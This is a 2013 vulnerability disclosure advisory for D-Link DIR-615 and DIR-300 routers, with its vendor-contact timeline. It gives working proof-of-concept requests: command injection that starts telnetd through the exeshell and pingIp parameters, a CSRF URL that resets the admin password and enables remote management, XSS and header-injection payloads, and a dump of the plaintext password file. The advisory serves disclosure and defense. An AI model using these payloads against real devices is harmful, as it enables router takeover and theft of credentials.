Device Name: DIR-615 - Hardware revision D3 / DIR-300 - Hardware revision A
Vendor: D-Link

============ Device Description: ============

DIR-300: http://www.dlink.com/de/de/home-solutions/connect/routers/dir-300-wirele...
DIR-615: http://www.dlink.com/de/de/support/product/dir-615-wireless-n-300-router...

============ Vulnerable Firmware Releases - DIR-615: ============

Tested Firmware Version : 4.13

============ Vulnerable Firmware Releases - DIR-300: ============

Firmware Version : 1.05 , Fri 13 Feb 2009
Firmware Version : 1.05 , Mon 06 Jul 2009
Firmware Version : 1.05 , Fri 26 Nov 2010

I like the same version number with different build dates :-D

============ Vulnerability Overview: ============

    * OS Command Injection (1) 

The vulnerability is caused by missing input validation in the set/runtime/diagnostic/pingIp and the exeshell parameter and can be exploited to inject and execute arbitrary shell commands.
It is possible to start a telnetd to compromise the device. You need credentials for the webinterface.

http://192.168.178.155/tools_system.xgi?random_num=2012.8.24.13.34.33&exeshell=submit%20`ping 192.168.178.102`

Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/DIR-300_A-code-execution.png

http://192.168.178.155/tools_vct.xgi?set/runtime/switch/getlinktype=1&set/runtime/diagnostic/pingIp=1.1.1.1`telnetd`&pingIP=1.1.1.1

Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/DIR-615_D-OS-Command-Injection-start-telnetd.png

    * For changing the current password there is no request to the current password (2) 

With this vulnerability an attacker is able to change the current password without knowing it. The attacker needs access to an authenticated browser.

    CSRF for changing the password without knowing the current one and the attacker is able to activate the remote management (3): 

http://Target-IP/tools_admin.php?ACTION_POST=1&apply=Save+Settings&admin_name=admin&admin_password1=admin1&admin_password2=admin1&grap_auth_enable_h=0&rt_enable=on&rt_enable_h=1&rt_ipaddr=0.0.0.0&rt_port=8080

    * Insecure Cryptographic Storage (4): 

There is no password hashing implemented and so it is saved in plain text on the system. You will find other ways to get access to it.

# cat var/etc/httpasswd
admin:admin

    * reflected XSS (5) 

Injecting scripts into the parameter send_mail reveals that this parameter is not properly validated for malicious input.

http://192.168.178.150/tools_log_setting.php?ACTION_POST=SOMETHING&send_mail=--%3E%3Cscript%3Ealert%28%27XSSed%27%29%3C/script%3E&apply=Save+Settings&log_sys=1&log_dbg=1&log_att=1&log_drp=1&log_ntc=1&email_addr=&subject=&sender=&srv=&srv_port=25

Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/DIR-300_A-XSSed.png

    * HTTP Header Injection (6) 

Injecting scripts into the parameter date reveals that this parameter is not properly validated for malicious input.

Request:
GET /tools_vct.xgi?%0dNew%20Header=1 HTTP/1.1
Host: 192.168.178.155
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive

Response:
HTTP/1.1 302 Found
Server: Alpha_webserv
Date: Sat, 01 Jan 2000 08:26:28 GMT
Content-Type: text/html
Accept-Ranges: bytes
Location: tools_vct.php?uptime=1589&
New Header=1
X-Pad: avoid browser bug
Content-Length: 0

    * Information Disclosure (7): 

Detailed device information including Model Name, Hardware Version, Linux Kernel, Firmware version, Language and MAC Addresses are available unauthenticated via the network.

Request:
http://<IP>/DevInfo.txt

Response:
Firmware External Version: V4.13 Firmware Internal Version: ac6b Model Name: DIR-615 Hardware Version: D1 WLAN Domain: EU Kernel: Linux version 2.6.21 Language: en Graphcal Authentication: Disable LAN MAC: xxx WAN MAC: xxx WLAN MAC: xxx

    * Information Disclosure (8): 

Nice server banner to detect this type of devices easily:

Server Banner: Mathopd/1.5p6

============ Solution ============

DIR-300A: Update to Firmware Version : 1.06 , Thu 11 Apr 2013
DIR-615D: Update to Firmware Version : 4.14b02

Vulnerability Nr. 1, 2, 3, 5, 6, 7, 8 - unfixed
Vulnarability Nr. 4 - unknown

Telnetd with hard coded credentials is disabled with this update.

============ Credits ============

The vulnerability was discovered by Michael Messner
Mail: devnull#at#s3cur1ty#dot#de
Web: http://www.s3cur1ty.de
Advisory URL: http://www.s3cur1ty.de/m1adv2013-014
Twitter: @s3cur1ty_de

There is also a default telnet user available and documented here:
http://www.dd-wrt.com/phpBB2/viewtopic.php?t=62146

============ Time Line: ============

October 2012 - discovered vulnerability
15.10.2012 - contacted dlink via mail
23.10.2012 - contacted dlink via first Webinterface
11.11.2012 - contacted dlink via second Webinterface
20.12.2012 - contacted Heise Security with details and Heisec forwarded the details to D-Link
21.12.2012 - D-link responded that they will check the findings *h00ray*
11.01.2013 - requested status update
25.01.2013 - requested status update
25.01.2013 - D-Link responded that this is a security problem from the user and/or browser and they will not provide a fix
07.02.2013 - after the DIR-600/300 drama D'Link contacted me and now they would talk ;)
- since 07.02. there is some communication between dlink and me
18.04.2013 - a new beta image is available for testing
20.04.2013 - tested the provided image, feedback to vendor
22.04.2013 - vendor releases update
22.04.2013 - public release

===================== Advisory end =====================